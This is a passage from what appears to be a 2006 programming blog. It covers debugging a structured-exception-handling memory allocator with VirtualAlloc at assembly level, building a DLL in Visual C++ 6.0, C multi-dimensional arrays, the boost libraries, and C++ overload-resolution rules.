__try{
read_data(FILE, cur_mem[counter]->data);
counter++;
}
__except(except_handler(...)){
do_something;
}
}

Naturally this code doesn't work. What a surprise. Well then, let's try to debug the code and see what's wrong. Again, you are hitting your head against the wall, the MS studio 6.0 just hangs after the memory violation and wouldn't jump to the exception handler subroutine. Now you have two choice if you cannot debug in assembler code, 1) try to figure out what's wrong by playing with the code; 2) give up! Because if your debuger of choice cannot correctly follow the logic of execution (in the settings of exception handling where things only trully reveal at assembler level), there is not much chance you could make it work.

So now off we go to debug this code in SIce, VirtualAlloc seems to be a natural choice to set a breakpoint on. After much tracing, it's observed that the code failed because of this: a single line of c code is often compiled into 4-5 lines of machine code and the exception can only happen and resume at a single machine instruct line, NOT the c code line! To make it easier to debug this code, I rewrote the patcher subroutine to this

patcher(...){

cur_mem = VirtualAlloc(initial_size);

__try{
read_data(FILE, tmp_data);
cur_mem[counter]->data = tmp_data;
counter++;
}
__except(except_handler(...)){
do_something;
}
}

since tmp_data is an automatic (on stack) variable and is guranteed to be accessible, the exception now occurs not in the convoluted read_data subroutine be it win32 or libc. The exception now occurs at line:

cur_mem->data = tmp_data;

which is translated to machine code like this:

mov eax, [ebp-20] ; $tmp_data
mov ecx, [0040xxxx] ; $cur_mem
mov edx, [ebp-24] ; counter
mov [ecx+edx], eax ; $cur_mem[counter]->data = $tmp_data

So in this hyperthetical case, the single c line code is translated into 4 machine instructions. And really the exception (memory access violation) occurs at the last line of the instruction,

mov [ecx+ebx], eax

Now imagine for a second, why is this a problem?

The problem is that when the exception handler allocates the new space, new_mem is a pointer pointing to a different memory location, not what cur_mem is refering too. So in other words, even though we allocated new memory space and instructed the processor to try the last instruction that generated the exception, we are still doomed to fail because the instruction is hardcoded with the values it contains. The registers are not updaing their contents to reflect the fact that we are now moving to a new memory location completely. To be more specific, consider the following scenario,

mov eax, [ebp-20] ; $tmp_data =0x00 00 00 05
mov ecx, [0040xxxx] ; $cur_mem =0x03 00 00 00
mov edx, [ebp-24] ; counter =0x00 00 10 00 4k page boundary
mov [ecx+edx], eax ; $cur_mem[counter]->data = $tmp_data

ecx+edx = 0300 1000, since these general purpose registers will have their values restored when the interrupt handler returns from the fault handler (trap gate in LDT), mov [ecx+edx], eax will be trying to do the same memory access and generates a double fault. What we really wanted is in the c code cur_mem->data = tmp_data, the cur_mem is a new value now and we are accessing our shining new memory space. Now because of the fact that a single c code line is not an atomic execution (compiled into multiple machine instructions), our program cannot run properly and we have no way to control the register values in ecx and edx upon returning from the exception handler.

How do we remedy this problem? We must gurantee that upon returning from the exception handler, ecx+edx is pointing to a valid read/write memory space. It'd be handy if there was VirtualReAlloc, but there is no such a function documented in MSDN. Another approach would be to allocate some memory somewhere else to save the current memory, then free cur_mem and VirtualAlloc with fixed base memory address and double the cur_mem_size.

|-----------| <- cur_mem | | | | <- cur_mem->size
|-----------|
| |
| |
|-----------| <- tmp_mem | | | | |-----------|

In order to be able to allocate double*$cur_mem->size, you have to make sure the temporary memory space start from at least $cur_mem+double*$cur_mem->size as shown in the graphy. A box indicates cur_mem->size amount of memory. If you fail to satisfy the above condition, you will not be able to VirtualAlloc at fixed $cur_mem address with double its current size. This approach is definitely doble but the master Jedi programmer will no doubt frown on its design and efficiency. The exception handler is simply too expensive and is against its design principle to be efficient and decisive.

What about this? We simply VirtualFree(cur_mem) and then VirtualAlloc($cur_mem, 2*cur_size)? This reduces the overhead of allocating new memory space, transfering data and yet gurantees the fixed memory address allocation. This solution may sound on paper, however it's almost guranteed to fail because of win32 memory management mechanism. First of all, VirtualFree and VirtualAlloc will fill the new allocated memory with 0; even if we disallow them to zero the pages, we cannot garantee that we will be dealing with the same physical page again upon task switch/kernel call gate control transfers. We may not look at the same physical page and even we are lucky to regain the same physical page, its contents may have been overwritten by another task or the kernel. So this approach will simply not work.

The next idea we could come up with is to allocate a new memory block that concatenates directly after the current memory block that is shown if the following graph. The idea is to allocate a new block of memory at the fixed address where the last fault occured. This idea seems rather plausible, the only drawback would be the hassle to clean this up. We have to VirtualFree every memory block that we allocate inside the exception handler. But still it sounds like a reasonble solution until we put this into implementation, VirtualAlloc would not return a useful memory address with the fixed bad address where the exception occured.

|-----------| <- cur_mem | | | | <- cur_mem->size
|-----------| <- concat_mem | | | | |-----------|

Ok, finally something that really works. The idea is to initially reserve a large chunk of memory and commit the memory upon demand. But this idea is really a static memory approach and would not really meet our requirement. Now imagine for a second how would you solve this problem?

Build DLL (dynamic linked library) with microsoft visual studio

2006-05-16T13:17:00.000-05:00

This article explains how to work with the default microsoft VC 6.0 IDE to compile DLL output from a given c code. It also shows how to use this dll within another given c code.

Let's say you have 3 files, a_main.c, a_dll.c, and a_comm.h. Both .c files use the .h header files. Let's first generate a_dll.dll from a_dll.c. Double click a_dll.c in windows should automatically open a_dll.c within the VC IDE. If this is not the case, you need to associate .c files with VC ide. Next try to compile a_dll.c, at this point, VC will create a workspace template file for you. Now this is the point where you need to make changes to the default workspace/project settings so that instead of linking and producing a EXE file, a DLL file is generated. First set active configuration to win32 release, then open project/settings diaglog. Click on c/c++, this is the compilation settings. You need to put the following defines in the "preprocessor definitions" textfield, _USRDLL and A_DLL_EXPORTS. _USRDLL tells the compiler-preprocessor that this file is intended to be compiled into a DLL file. A_DLL_EXPORTS tells the compiler that this file as DLL exports symbols. A_DLL_EXPORTS is a instantiate of FILENAME_EXPORTS, because we are working with a_dll.c here, we replace FILENAME with A_DLL. If the file was named b_dll.c, we'd have used B_DLL_EXPORTS.

There is another flag _WINDOWS that needs to be added depending on the nature of the DLL. If the DLL has any USR32.DLL imports, working with GUI components, then we must replace the default _CONSOLE flag to _WINDOWS. The VC default project template settings assumes a win32 console application is being compiled. So use either _WINDOWS or _CONSOLE depending on what kind of DLL you are working with. Save your settings change by click on "Ok" button. At this point, a_dll.c should be compiled and seen to produce a_dll.obj without any problem.

Next we must modify the settings that used during VC linking process. The object code is linked with other libraries to produce either a EXE file or a DLL file. The default template project settings will link to a win32 console EXE file. Open the project/settings dialog again in VC and choose the "link" tab. In "Output filename" text field, change a_dll.exe to a_dll.dll. This change tells the linker we desire a dll output from the source code a_dll.c. If you didn't change this and go ahead compiling/linking your code, VC will complain it cannot find "main" or "winmain" function because as a dll source code, a_dll.c contains the dllmain entry instead of main for a console app or winmain for a windows app. In the "Project Options" textarea, get to the end of the option string and add "/dll", this again tells the linker to produce a dll output instead of a exe output.

The last step again depends on what kind of dll it is, console or windows. You don't have to do anything else if it's a console dll because the default setting assumes it's creating a console dll. Otherwise in "Project Options", find "/subsystem:console" and replace it with "/subsystem:windows". Click "Ok" to save the changes and in "Build" menu, you should see the target output has changed from a_dll.exe to a_dll.dll. You should be able to create the desired a_dll.dll now.

Granted, this seems to be a lot of hassle to get VC to generate DLL output from a source code file. This would have been very easy if we could have started from the project wizard and was using a win32 dll template from day 1. But occasionally one cannot always expect a project build configuration is available with a downloaded or copied source code and we have to build a dll file using what we have at hand. The trick I explained above demonstrates the step by step changes to the default project settings to genreate a dll file.

Now onto the next step building a.exe using the newly generated a_dll.dll. Again load a.c into VC and let VC generate a default project template file to work with. If you would try to build a.exe now, VC would complain missing functions in a_dll.c during link. To fix this, open Project/Settings, and go to link tab. In Object/library modules text, go to the end of the list and type in PATH_TO_A_DLL_LIB\a_dll.lib. Here PATH_TO_A_DLL_LIB is the path to a_dll.lib file. For example, if you have organized your files in c:\myfiles. PATH_TO_A_DLL_LIB would be Release or Debug depending on what build configuration was used when a_dll.dll was built. This is the only change you need to make to link a.obj with a_dll.lib to generate the final product: a.exe.

It's interesting to note that the compiler actually links a.obj with a_dll.lib instead of a_dll.dll to build a.exe. a_dll.dll is only used when a.exe is running in the system, as it's name implied dynamic link library.

Memory as a programming concept in C and C++, multi-dimensional arrays

2006-05-16T12:53:00.000-05:00

C and C++ catogerize multi-dimensional arrays into two distinctively different kinds, static and dynamic.

Static multi-dimensional arrays are declared and defined at compile time. They are internally represented as one dimensional array and accessed through index arithmatic (addition and multiplication). For example, x[i][j] (whose size is nrow * ncol) is accessed by *(x + i*ncol + j) . Because they are represented in such a manner, they must be passed to functions with explicit array bounds information (except that the first dimension bound nrow can be omitted, x[3][4] can be passed as x[3][4] or x[][4]). Due to the same reason, static multi-dimensional arrays are passed by reference, namely the pointer value that points to the storage. C and C++ don't pass multi-dimensional arrays as values as that would require a tremendous amount of overhead involving momory copy, passing additional array structure information onto the stack call frame, even though the function declaration with static multi-dimensional array resembles pass-by-value semantics. The next example demonstrates the sutleties of C and C++ static multi-dimensional arrays:

#include

int a[3][4] = {0, 3, 4, 2, 1, 5, 6, 9, 8, 3, 2, 5};

void adjust(int x[][4]){

x[0][3] = 80;

}

int main(){

printf("a[0][3] = %d\n", a[0][3]);
adjust(a);
printf("a[0][3] = %d\n", a[0][3]);

return 0;
}

Dynamic multi-dimensional arrays are declared using pointer sematic and defined at run time, thus 'dynamic'. They are internally repesented as dynamic 1D arrays whose elements are pointers that point to sub-level dynamic 1D arrays. They are accessed by dereferencing pointer values. For example, int ** x is a pointer to 2 dimensional dynamic array; at run time, it's defined to point to an array of shape x[3][4],

x = malloc(3*sizeof(int *));
for(int i = 0; i < 3; i ++)
x[i] = malloc(4*sizeof(int));

It's important to distinguish between static and dynamic multi-dimensional arrays in C and C++ because even they are both multi-dimensional arrays, their definition, representation and access methods are so vastly different, they can be confusing even among the most seasoned developers.

Beyond the C++ standard library, an introduction to boost

2006-05-15T18:37:00.000-05:00

I recently finished reading through this book. Very good introduction materials of boost libraries to us mortals. The covered libraries include utility classes such as shared_ptr, scoped_ptr, intrusive_ptr, weak_ptr, operators, noncopyable, regex etc; container classes such as any, variant, tuple; functional classes such as bind, lambda, functional, signal. These are the MVP classes that can make c++ programmers' lives much easier. The lambda libraries are especially impressive when binding functors with standard algorithm.

Boost (www.boost.org) development is very active. Check them out.

Default arguments do not participate in overload resolution

2006-05-08T14:17:00.000-05:00

Consider the following code:

// (1)
template
void f(T const& x) {}

// (2)
template
void f(T const& x, typename T::some_type* = 0) {}

struct X { typedef int some_type; } x;

int main()
{
f(x);//Comeau choose #2. Does it conform to the Standard?

}

First, the compiler builds a viable function set. This is where SFINAE takes place and a function is either added or excluded from the set. According to 13.3.2/2

A candidate function having more than m parameters is viable only if the (m+1)-st parameter has a default argument (8.3.6).121) For the purposes of overload resolution, the parameter list is truncated on the right, so that there are exactly m parameters.

So, the viable set in this case contains functions with the default argument truncated.

Second, the compiler does partial template ordering and the actual overload resolution. Since the default argument for function 2 has been truncated, the viable function set here contains 2 identical functions which results in the ambiguity.

Overload resolution doesn't choose between names from different scopes.

2006-05-08T10:40:00.000-05:00

Take this code example :

template
class Base
{
protected:
Notify(T& msg);

};

struct msgA {};
struct msgB {};

class Impl : public Base, public Base
{
void Do()
{
msgA a;
Notify(a); // <----- AMBIGUOUS call } } ; When compiled with Comeau online compiler, yeilds the following error:

Comeau C/C++ 4.3.3 (Aug  6 2003 15:13:37) for ONLINE_EVALUATION_BETA1
Copyright 1988-2003 Comeau Computing.  All rights reserved.
MODE:strict errors C++

"ComeauTest.c", line 5: error: omission of explicit type is nonstandard ("int"
     assumed)
Notify(T& msg);
^

"ComeauTest.c", line 17: error: "Base::Notify [with T=msgA]" is ambiguous
 Notify(a); // <----- AMBIGUOUS call      ^  2 errors detected in the compilation of "ComeauTest.c".

This error is a result of disambiguity rule that C++ compiler employs when resolve overloaded names from different scopes. Although both names are visible at the point of the statement, the rule says overload resolution cannot choose between names from different scopes. Thus the compile error. A simple solution is to pull in names from both scopes into class Impl by using declarations.

With very few exceptions, name lookup must resolve to a set of names in a single scope. The major exception is when ADL is involved, but ADL only applies to namespaces which are searched, not base classes.